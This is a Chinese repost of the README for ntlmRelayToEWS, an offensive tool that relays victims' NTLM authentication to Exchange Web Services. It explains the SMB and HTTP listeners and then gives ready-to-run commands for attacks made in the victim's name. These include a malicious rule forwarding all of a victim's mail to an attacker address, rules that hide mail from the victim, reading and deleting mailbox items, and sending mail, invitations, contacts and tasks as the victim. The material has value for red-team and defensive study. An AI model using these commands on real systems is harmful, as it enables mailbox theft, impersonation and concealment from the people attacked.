NTLM中继攻击Exchange Web Services
作者:Sec-Labs | 发布时间:
项目地址
https://github.com/Arno0x/NtlmRelayToEWS
ntlmRelayToEWS
作者:Arno0x0x - @Arno0x0x
ntlmRelayToEWS 是一种在Exchange Web Services(EWS)上执行ntlm中继攻击的工具。它在端口445上生成一个SMBListener和在端口80上生成一个HTTPListener,等待来自受害者的传入连接。一旦受害者连接到其中一个侦听器,就会发生NTLM协商,并中继到目标EWS服务器。
显然,此工具不会实现整个EWS API,因此只实现了一些在某些攻击场景中可能有用的服务。我可能会在未来添加更多服务。请参阅“用法”部分,了解正在实现哪些EWS调用的概念。
限制和改进
Exchange版本:
我只针对Exchange Server 2010 SP2测试了这个工具(_这是相当旧的_),因此所有EWS SOAP请求模板以及EWS响应的解析仅针对此版本的Exchange进行了测试。尽管我自己没有测试过,但一些报告称,这个工具也可以在Exchange 2016服务器上工作,直接使用(_即:不需要对SOAP请求模板进行任何更改_)。
如果这些SOAP请求在其他版本的Exchange上不起作用,那么很容易使用Microsoft EWS Managed API在跟踪模式下创建SOAP请求模板,并捕获正确的SOAP请求。(这就是我做的!)
EWS SOAP客户端:
我本来想使用SOAP客户端,以便获得基于Exchange WSDL自动创建所有SOAP请求的正确接口。我尝试使用 'zeep',但我在使用Exchange WSDL时遇到了一些问题,因为它需要下载外部命名空间,因此需要互联网连接。此外,使用'zeep',使用自定义传输会话需要一个Requests.session,这不是我们默认使用HTTPClientRelay时拥有的HTTP(S)会话的类型:它要求要么重构HTTPClientRelay以使用'Requests'(_/ me懒)或者仅获取zeep使用zeep.client.create_message()创建消息,然后使用我们已经有的中继会话发送它。或者是因为我是个菜开发人员?哦,好吧...
先决条件
ntlmRelayToEWS需要一个适当/干净的安装Impacket。因此,请按照其说明获取可工作版本的Impacket。
用法
ntlmRelayToEWS实现了以下攻击,所有这些攻击都是代表中继用户(_受害者_)进行的。
请参考帮助以获取其他信息:./ntlmRelayToEWS -h。使用--verbose或-v标志获取更多调试信息。
sendMail
向一组目标发送HTML格式的电子邮件:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendMail -d "user1@corporate.org,user2@corporate.com" -s Subject -m sampleMsg.html
getFolder
从预定义文件夹(_收件箱、已发送项目、日历、任务_)检索所有项目:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolder -f inbox
forwardRule
创建一个恶意的转发规则,将所有来自受害者的电子邮件转发到指定的电子邮件地址:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r forwardRule -f attacker@corporate.org
inboxRule
创建一个恶意的收件箱规则,将所有来自特定地址的电子邮件转移到另一个文件夹(_受害者不会看到它们_):./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r inboxRule -s sender@domain.local -d "JunkEmail"
getFolderContents
从具有特定ID的文件夹中检索所有项目:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r getFolderContents -i AQAtAEkARgAAAA==
moveFolderItem
将特定ID的项目移动到另一个文件夹:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r moveFolderItem -i AQAtAEkARgAAAA== -d "JunkEmail"
deleteFolderItem
删除具有特定ID的项目:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r deleteFolderItem -i AQAtAEkARgAAAA==
sendCalendarInvitation
向一组目标发送一个日历邀请:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendCalendarInvitation -d "user1@corporate.com,user2@corporate.com" -s Subject -l Location -m MeetingMsg.html -a "2019-10-21 10:00" -e "2019-10-21 11:00"
sendContact
向一组目标发送一个联系人条目:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendContact -d "user1@corporate.com,user2@corporate.com" -f "First Name" -l "Last Name" -m "Middle Name" -j "Job Title" -c "Company Name" -e "email@address.com" -p "111-222-3333" -s "Street address" -z "Zip code" -y "City" -o "Office" -w "Web page"
sendTask
向一组目标发送任务:./ntlmRelayToEWS.py -t https://target.ews.server.corporate.org/EWS/exchange.asmx -r sendTask -d "user1@corporate.com,user2@corporate.com" -s Subject -m sampleMsg.html -u "2019-10-21 10:00" -v "2019-10-21 11:00"
许可证
这个项目是在Apache 2.0许可下分发的。请查看LICENSE文件以获取更多信息。